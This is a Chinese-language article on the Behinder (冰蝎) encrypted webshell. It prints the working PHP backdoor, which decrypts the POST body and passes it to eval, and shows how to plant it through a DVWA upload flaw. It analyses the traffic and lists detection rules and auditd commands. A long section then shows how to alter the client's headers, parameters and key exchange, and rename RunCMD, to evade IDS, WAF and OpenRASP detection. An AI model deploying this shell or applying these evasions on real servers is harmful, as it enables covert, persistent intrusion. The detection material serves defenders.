用Web系统语言(如:ASP、PHP、JSP等)编写的WebShell,WebShell上传服务器后当成页面被攻击者访问,常当做后门。
WebShell危害
做后门; 文件、数据库操作; 修改Web页面......
WebShell的特点
特点一:Web木马可大可小。
特点二:无法有效隐藏。
特点三:具有明显特征值。
命令执行函数:ebval、system、popen、exeshell_exec等。
文件功能函数:fopen、opendir、dirname、pathinfo等。
数据库操作类函数:mysql_query、mysqli_query等。
WebShell必须为可执行的网页格式。
演练中,第一代webshell管理工具“菜刀”的攻击流量特征明显,容易被安全设备检测到,攻击方越来越少使用,加密webshell 正变得越来越流行,由于流量加密,传统的WAF、WebIDS设备难以检测,给威胁监控带来较大挑战。
这其中最出名就是“冰蝎”,“冰蝎”是一款动态二进制加密网站管理客户端,演练中给防守方造成很大困扰,本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。
"冰蝎"客户端基于JAVA,所以可以跨平台使用,最新版本为v3.0 bate,兼容性较之前的版本有较大提升。加密不再依赖PHP openssl扩展功能,同时支持了简单的ASP。
主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大。
下载地址:Release Behinder_v3.0_Beta_11: Update README.md · rebeyond/Behinder · GitHub
建议安装环境:虚拟机Win 7 关闭防火墙状态下,下载及安装。
下载并解压后的文件:
① Server文件夹:存放着不同类型的 shell 脚本
② Behinder.jar :冰蝎的运行程序
③ Behinder_v3.:源压缩包
④ data.db :配置文件
⑤ 更新日志.txt :版本更新修复的问题
这里我们借助靶机:DVWA 其中的 文件上传漏洞( low 级别) 做实验。来解释冰蝎的使用方法。
① 将冰蝎中存在的shell脚本上传到网站上。点击浏览选择:shell.php 然后上传并且复制上传路径。
② 复制该文件上传的完整路径。
③ 打开冰蝎,空白处右键选择新增,将完整路径输入,这里看到是需要密码的,密码放在 shell 脚本里面。
④ 我们使用VSCode查看一下脚本。
- @error_reporting(0);
- session_start();
- $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
- $_SESSION['k']=$key;
- session_write_close();
- $post=file_get_contents("php://input");
- if(!extension_loaded('openssl'))
- {
- $t="base64_"."decode";
- $post=$t($post."");
-
- for($i=0;$i
$post);$i++) { - $post[$i] = $post[$i]^$key[$i+1&15];
- }
- }
- else
- {
- $post=openssl_decrypt($post, "AES128", $key);
- }
- $arr=explode('|',$post);
- $func=$arr[0];
- $params=$arr[1];
- class C{public function __invoke($p) {eval($p."");}}
- @call_user_func(new C(),$params);
- ?>
⑤ 输入密码其他默认,保存后双击查看是否连接。 连接成功后可以看到刚才输入的URL后面会显示已连接,也有很多模块支持我们进行管理。
我们以PHP版本为例,"冰蝎"在服务端支持open_ssl时,使用AES加密算法,密钥长度16位,也可称为AES-16。此在软件及硬件(英特尔处理器的AES指令集包含六条指令)上都能快速地加解密,内存需求低,非常适合流量加密。
三大特点:
加密流程大致如下图所示:
首先客户端以Get形式发起带密码的请求,服务端产生随机密钥,将密钥写入Session并将密钥返回客户端。
客户端获取密钥后,将payload(例如:assert|eval(“phpinfo();”))用AES算法加密,用POST形式发送请求。
服务端收到请求,用Session中的密钥解密请求的Body部分,之后执行Payload,将直接结果返回到客户端。
客户端获取返回结果,显示到UI界面上。
我们看到在下图中,"冰蝎"在执行Payload之后的返回,并没有显示加密,这点我们可以从自带的webshell中看出。
通信过程
我们用wireshark来抓包看下"冰蝎"通信过程:
按照流程,客户端首先get请求生产随机密钥,server返回生成的16位密钥和对应的session ID
得到密钥后,客户端对需要执行的命令进行AES加密,加密后的通讯流量如下,没有任何攻击特征,安全设备难以根据特征进行检测:
解密后执行的命令被base64编码了,进一步进行base64解码后,得到执行的命令如下:
我们发现核心内容只是一个简单的JSON格式的success的返回,但是会将结果使用AES包装一层加密,所以我们看到webshell中没有加密,而流量却是加密的。
攻防技术一直都在不断发展的,要想保证攻防的持续有效,就需要不断地更新自我,而各大厂商的检测系统及WAF均已经对其特征进行分析并加入规则,各路分析其流量规则的文章也层出不穷。
检测思路可以从流量、应用、主机三个层面入手。
思路一:流量侧
(1)虽然冰蝎的通讯流量都是加密的,但是在第一步,冰蝎必须需要获得密钥,具体流量特征:
1、是一个get请求,url中带上参数?pass(参数名称可变)
对应的检测正则表达式:
/[w.]*.[a-zA-Z]{3,4}?w{0,20}=d{0,10}
由于该请求特征不明显,此正则会产生较多误报。
2、返回包状态码为200,返回内容必定是16位的密钥
对应的检测正则表达式:
^[a-fA-F0-9]{16}$
返回包特征相对明显,针对这一特征可以在WebIDS、全流量检测等安全设备中对返回包制定相应的特征检测规则。
(2)按照kill-chain的模型,除了在webshell通信的时候进行检测,也可以在上传webshell时(即载荷投递阶段)进行检测,对冰蝎的webshell木马文件特征定制特定的检测规则。以php webshell木马为例,webshell中包含了openssl_decrypt、base64、eval等关键字,可以在WAF、WebIDS、流量检测等安全设备中定制相应的关键字进行检测。
基于流量的检测不可避免的可能会产生误报的问题,需要结合企业业务实际流量进行调整;同时,冰蝎也可以进一步升级来规避这些特征,单单利用流量来进行检测难以到达完全的检测效果。
思路二:应用侧——OpenRASP检测
1、什么是OpenRASP?
随着Web应用攻击手段变得复杂,基于请求特征的防护手段,已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。更多细节,请参考《OpenRASP 最佳实践》
2、RASP 技术和现有方案主要区别
首先,RASP 几乎没有误报情况。边界设备基于请求特征检测攻击,通常无法得知攻击是否成功。
对于扫描器的踩点行为、nday 扫描,一般会产生大量报警。RASP 运行在应用内部,失败的攻击不
会触发检测逻辑,所以每条攻击都是成功的报警。
其次,RASP 可以发现更多攻击。以SQL注入为例,边界设备只能看到请求信息。RASP 不但能够
看到请求信息,还能看到完整的SQL语句,并进行关联。如果SQL注入让服务器产生了语法错误或
者其他异常,RASP引擎也能够识别和处理。
最后,RASP 可以对抗未知漏洞。发生攻击时,边界防护设备无法掌握应用下一步的动向。RASP
技术可以识别出异常的程序逻辑,比如反序列化漏洞导致的命令执行,因此可以对抗未知漏洞。
3、OpenRASP 部署
目前,OpenRASP 支持 Java 和 PHP 两种开发语言,具体安装教程请参考:安装部署 - OpenRASP 官方文档 - 开源自适应安全产品
以PHP为例,应用安装成功后,会在返回包头中添加X-Protected-By:OpenRASP字段,如下图所示:
此时,我们再次利用冰蝎进行命令执行操作,发现OpenRASP的检测引擎已经完美发现加密流量,并检测出执行的命令“whoami”。
虽然OpenRASP有很多优势,可以准确检测出一些未知漏洞,但是由于其本身的实现也存在一些问题使其在大规模推广还有一定难度。比如RASP对应用侵入过大、angent的安装可能对系统性能的影响、企业大规模部署运维的压力等等。
思路三:主机侧
(1)定期对服务器进行webshell文件扫描查杀
这里用D盾、河马和OpenRASP团队开发的下一代WebShell检测引擎webdir+进行测试,检测结果都比较一般。
其中,D盾、河马只检测出了早期冰蝎v1.2版本中的PHP webshell文件,未检测出jsp、asp 等webshell,检出比只有20%。
而对于冰蝎v2.1的webshell,D盾、河马都完全没有检测出来,检出比为0。
只有webdir+检测出了冰蝎v2.1的3个webshell文件,检出比为60%,可见冰蝎的免杀做得很不错。
同时,定期的webshell文件扫描也存在时效性差的问题,攻击方拿到shell后,也会对webshell进行痕迹清理,所以这种方式检测效果也有限。
(2)Linux audit日志检测
虽然冰蝎通讯流量是加密的,但落到主机侧,还是会调用系统命令,所以可以在主机审计日志层面定制检测规则,监控冰蝎对系统命令的调用。Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息,参考《另类WebShell监测机制–基于auditd》思路。
以root身份执行如下命令,可实现对执行系统命令这一个SYSCALL行为的监控审计。
- auditctl -D # 用于测试,清除已有规则
- auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command
上述命令在系统审计规则中增加了一条监控调用命令执行监控规则,并且定义规则名为rule01_exec_command。
在冰蝎中执行命令whoami,在Linux审计日志中发现记录:
type=SYSCALL:日志规则“rule01_exec_command”被触发,uid=33的用户,通过父进程ppid=597,调用/usr/bin/bash,执行了命令sh,进程pid=8380。
type=SYSCALL和type=EXECVE都能看到执行的程序名称和参数。
type=CWD则说明了,命令执行所在的目录cwd=”/var/www/html”。
一般cwd在web目下的,又执行了系统命令,则这个行为是比较可疑的。
当然基于审计日志的检测思路也存在一定问题,包括:合理配置auditd的运行参数,准确评估审计功能对系统性能的影响;如何主动识别Web进程和Web目录信息;如何实时收集操作系统进程和进程PID等信息;如何关联分析Web访问日志; Windows平台是否有同样的检测机制等等。
原版"冰蝎"已经不能满足攻防对战的要求了,这时我们需要自己动手。
首先用JD-GUI等反编译工具,反编译JAR包获得源码。可以从中可以看到UI文件引入的包名看到,"冰蝎"使用了SWT框架作为UI。
既然这样我们直接用Eclipse安装WindowsBuilder,来直接创建SWT项目。
安装WindowsBuilder
在Eclipse的Marketplace里搜索WindowsBuilder,点击Install即可安装。
之后我们直接创建基于SWT项目,即可避免因swt包缺失导致的报错问题。
我们将反编译之后的源码和JAR包导入项目,在通过搜索源码和修复报错(会有一大波报错等待你修复,可以多种反编译工具对比结果来修改)等方式尝试将源码跑起来。
最终我们终于成功跑起来了反编译之后的代码。
可以看到项目结构比较简单清晰,主要逻辑都在net包下,Main.java为程序入口。这里简单介绍下各个模块代码的作用:
经过对网上多篇对"冰蝎"特征的资料参考,总结出几条特征并将其特征给予修改擦除。以PHP版本为例,其他语言版本异曲同工。
1. 密钥交换时的URL参数
首当其冲的就是密钥交换时的参数,用GET请求方式,默认webshell的密码为pass,并且参数值为3位随机数字。
从webshell上看,参数值的随机数字并没有任何实际作用:
客户端代码上看也只是随机数:
我们来看下一般对此情况的检测规则:
\.(php|jsp|asp|aspx)\?(\w){1,10}=\d{2,3} HTTP/1.1
该规则可以匹配1-10位密码的webshell,并且参数值位2-3位的数字。
修改思路:
增加随机数量的随机参数和随机值(随机值不为全数字),并且密码参数不能固定为第一个。
修改后的效果:
2. header中的Content-Type
默认在header中的Content-type字段,在一般情况下的GET形式访问是没有该字段的,只有POST形式的访问才会有。但"冰蝎"不论是GET形式还是POST形式的访问均包含此字段。此处露出了较大破绽,而且该字段的大小写有点问题,所以基于这个规则基本可以秒杀。
我们来看下这块相关的的代码:
ShellService代表一个Shell服务,在其构造函数中31行判断了,如果类型是php则在header中加入
Content-type
头。但在35行的getKeyAndCookie向服务端发送GET请求获取密钥时,也将此header头带入其中,所以发送GET请求包时也会携带此参数。
修改思路:
GET形式访问时在header中去掉此字段,POST形式访问时将值改为
Content-Type值改为"text/html;
charset=utf-8"以规避安全检测(值也可以不改)。
修改后的效果:
GET请求:
POST请求:
3. header中的User-Agent
User-Agent是代表一般指用户代理,会包含浏览器和操作系统等信息标志。在"冰蝎"的早期版本存在User-Agent特例化问题,最新版本已经解决了这个问题。解决方案是:每个shell连接会从17个内置的UA里随机选择一个。
来看下这部分的JAVA代码:
可以看到是随机从常量Constants.userAgents中取了一个值。
这块的问题是UA包含的浏览器版本比较旧,比如:Chrome/14.0.835.163是2011年发布的版本,Firefox/6.0也是2011年的版本。这种浏览器基本很少人使用,所以特征较为明显,可以作为规则参考。
修改思路:
使用较新版本的常见浏览器UA来替换内置的旧的UA常量。
修改后的效果:
2020年发布的Firefox 75.0:
2019年11月发布的Chrome 78.0.3904.108:
4.header中的Accept
在请求header中的Accept字段默认会是一个比较奇怪的值,此值在GET形式和POST形式的请求中均存在。而在正常的浏览器或其他设备访问的报文中Accept的值不会是这样的,所以此处也可以作为一个强力有效的规则检测依据。
GET请求:
POST请求:
此处产生的原因是JAVA的HTTPURLConnection库("冰蝎"使用的HTTP通信库)在没有设置Accept值时会自动设置该值作为默认值,而源码中默认并没有对Accept进行处理。
修改思路:
修改请求header中的Accept的值。
修改后的效果:
GET请求:
POST请求:
5.二次密钥获取
在"冰蝎"的默认流量中,会有两次通过GET形式的请求获取密钥的过程,这点比较奇怪。
此处也可作为一个检测点。
我们来看下代码实现:
这一步是将密钥存入rawkey_1变量中。
再次获取的密钥存到rawkey_2变量中,之后rawkey_1和rawkey_2进行了异或操作,通过异或结果来判从而结束循环条件,最多尝试获取10次密钥。实话说这块代码没太看出来作用,实际是大部分情况2次就OK了,3次获取密钥的情况都不太多。个人感觉这块是为了校验获取到的密钥是否可用以及控制获取密钥的次数。
修改思路:
删掉多次获取密钥的过程,可以改成一次获取密钥。或者直接把密钥写到webshell里,省去获取密钥的过程。
修改后的效果:
6.response中返回密钥
在获取密钥时,密钥返回是直接以16位字符的形式返回到客户端。这时会有比较大的破绽,我们来看下常用的检测规则:
\r\n\r\n[a-z0-9]{16}$
和
Content-Length: 16
检测内容是:以两个\r\n完整换行加上16位字母小写+数字组合为结尾,再配合Content-Length:
16 为规则一起检测。
我们来看下客户端代码对于密钥的匹配规则:
源码只匹配了16位的字母a-f大小写+数字,hah~ 这是因为啥呢?
原因在"冰蝎"默认自带的webshell里:
因为webshell
生成的密码算法为md5,md5输出结果显示是16进制,所以只有0-9a-f。
修改思路:
GET形式访问时,可以加入一些混淆的返回内容,或者将密钥变型。
修改后的效果:
可以先从视觉效果上隐藏起来:
流量侧:
这里只是简单的加了一些内容作为演示,实战时可以根据情况混淆。
7.header中的Cookie
因为"冰蝎"默认自带的webshell中的key在将密钥返回客户端后,会将密钥保存在Session中。而SessionId在第一次客户端请求时作为Cookie发送给了客户端,所以Cookie也是作为我们一个重要检查点。
Cookie中的问题是"path=/"这部分。在访问服务器时,服务端将Cookie以Set-Cookie的response头中的形式返回,其中Path是该Cookie的应用路径。
举个例子:
Cookie1; Path=/
Cookie2; Path=/admin/
当浏览器访问网站 "/" 路径时,只会携带Cookie1。当访问 "/admin/"
路径时,会同时携带Cookie1和Cookie2。
在正常浏览器访问下,path是不会作为Cookie本身的一部分发送到服务端的。
来看下客户端代码:
此处将服务端返回的Cookie所有字符都在客户端存储起来,当客户端发送请求时全部将这些字符作为Cookie发送出去。
修改思路:
将发送请求中Cookie的Path字段去掉。
修改后的效果:
Webshell免杀原理
首先看下 JSP 版的 Webshell 代码,大体逻辑如下:
可以看到将客户端发来的字节码转为类并实例化,之后调用了 equals 函数。 equals 函数默认为 Object 的函数,是比较两个对象的内存地址,在 JAVA 代码中非常常见的函数,所以整个 Webshell 看起来人畜无害。
我们看下客户端中的相关代码,首先通过 getData 函数来获取发送的数据:
getParamedClass 函数为将类转为字节码的关键函数:
被转成字节码的 Cmd 类,其中 cmd 参数为执行命令的字符串:
可以看到,Cmd 类中将 equals 函数重写了,内部中调用了 RunCMD 。而 RunCMD 实际就是使用 Runtime.getRuntime().exec 执行系统命令,并将输出返回。
header中的Content-Type
JSP版本连接的时候,客户端的请求包中的 Content-Type 为 application/octet-stream ,意思是客户端传输的为字节流。如果未有此相关业务,可作为一个较明显的监测特征。
修改思路:
POST形式访问时将值改为 Content-Type 值改为 "text/html; charset=utf-8" 或者 "text/x-www-form-urlencoded; charset=utf-8" 以规避安全检测。
看Webshell中的代码是直接读取了一整行的数据,所以改成其它类型也是没关系的。
修改后的效果:
POST请求:
对抗RASP
什么是RASP?
RASP 英文为 Runtime application self-protection,即实时应用自我保护。它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序和应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遇到特定漏洞和攻击时不需要人工干预就可以进行自动重新配置应对新的攻击。
此理念的众多产品,其中比较有名的开源项目叫做 OpenRASP 。 OpenRASP 是可以监测冰蝎后门的,不论 Webshell 如何免杀变形,OpenRASP 基于命令执行的调用堆栈来识别冰蝎:
这里提到了只要客户端代码不变,就可以检测到,但是我们既然是魔改就肯定会改代码的。
先来看下"冰蝎"连接 Webshell 后运行命令 whoami 的结果,在部署好 OpenRASP 后运行,可以在 tomcatroot/rasp/logs/alarm/alarm.log 文件中查到告警日志:
我们可以看到,OpenRASP监测到了调用堆栈,冰蝎识别出了命令"cmd.exe /c whoami" 。
修改思路:
网上能查到的规避方案是修改包名,将 net.rebeyond.behinder 这三层包名修改或去掉。但是我们要知其然还要知其所以然。
在更深入的了解 OpenRASP 的检测功能后我们发现,OpenRASP 的检测逻辑部分是由 JavaScript 语言实现的,原因是为了避免多平台上的重新实现。官方对此也有所说明:
官方的检测逻辑在 /rasp/plugins/official.js 中,我们来查看这个文件并找出了检测调用堆栈的部分:
可以看到多种检测堆栈关键字的漏洞,如:fastjson 反序列化、ElasticSearch Groovy 的 RCE 等。在该文件第866行我们找到了"冰蝎"的检测关键字:
net.rebeyond.behinder.payload.java.Cmd.RunCMD
关键字检测精确到了函数名 RunCMD。
既然如此我们没有必要大张旗鼓地修改包名(还要修改调用资源的路径,非常麻烦),我们只需要修改 RunCMD 函数的名称就可以规避 OpenRASP 的检测。
修改后的效果:
我们修改好函数名后重新编译,并将服务器中的 alarm.log 告警日志清空后重启。
客户端执行 whoami:
服务端 OpenRASP 无法检测到该条命令执行,告警日志为空:
在 ASP 版本的 Webshell 有个小坑。
我们直接使用魔改之后的版本进行连接会报错:
我们抓包看下:
服务端返回状态码 500,服务器内部错误。
其实这个坑点是在密钥交换的 GET 请求中,判断密码参数(默认为 pass 的字段)是否存在。
代码如下:
在原版本中 pass 的值为随机 3 位数字,在 C# 语法中数字可以作为If判断的条件(0 为 False,其它数字为 True)。但是在我们的魔改版本中 pass 的值为了规避监测设置为了随机字符串。 C# 中字符串类型无法作为 If 的判断条件,会报类型不匹配的错误:
我们需要将 Webshell 稍微改下,判断 pass 的值不为空字符串即可解决此问题。
运行结果:
客户端连接:
header中的Content-Type
ASP 版本的此问题跟 JSP 版本相同,都是在连接的时候,客户端的请求包中的 Content-Type 为 application/octet-stream ,可参考 JSP版本的修改思路。
修改后的效果:
POST请求:
1. 文件检测:文件的特征主要在解密算法部分和执行payload的部分。
2. 流量检测:由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输,无法采用检测关键字的方法进行检测。相比于2.0的版本,3.0去除了协商密钥的过程,但这带来了一个问题就是,整个过程的密钥是不变的,同时分析冰蝎的源码可以发现:在传输php,jsp,aspx时前面的字段是固定的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp(php无法加载openssl时)采用异或对payload进行运算,根据异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位进行异或得到的就是密钥,再用密钥对整体数据进行解密即可还原出明文。
3. 异常进程检测:当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程(父子关系)来执行命令。
当启用虚拟终端时同样如此。
总结:
在实际检测中,单一的规则检测对"冰蝎"的误报率会比较高,一些比较明显的特征相互结合使用,会有事半功倍的效果。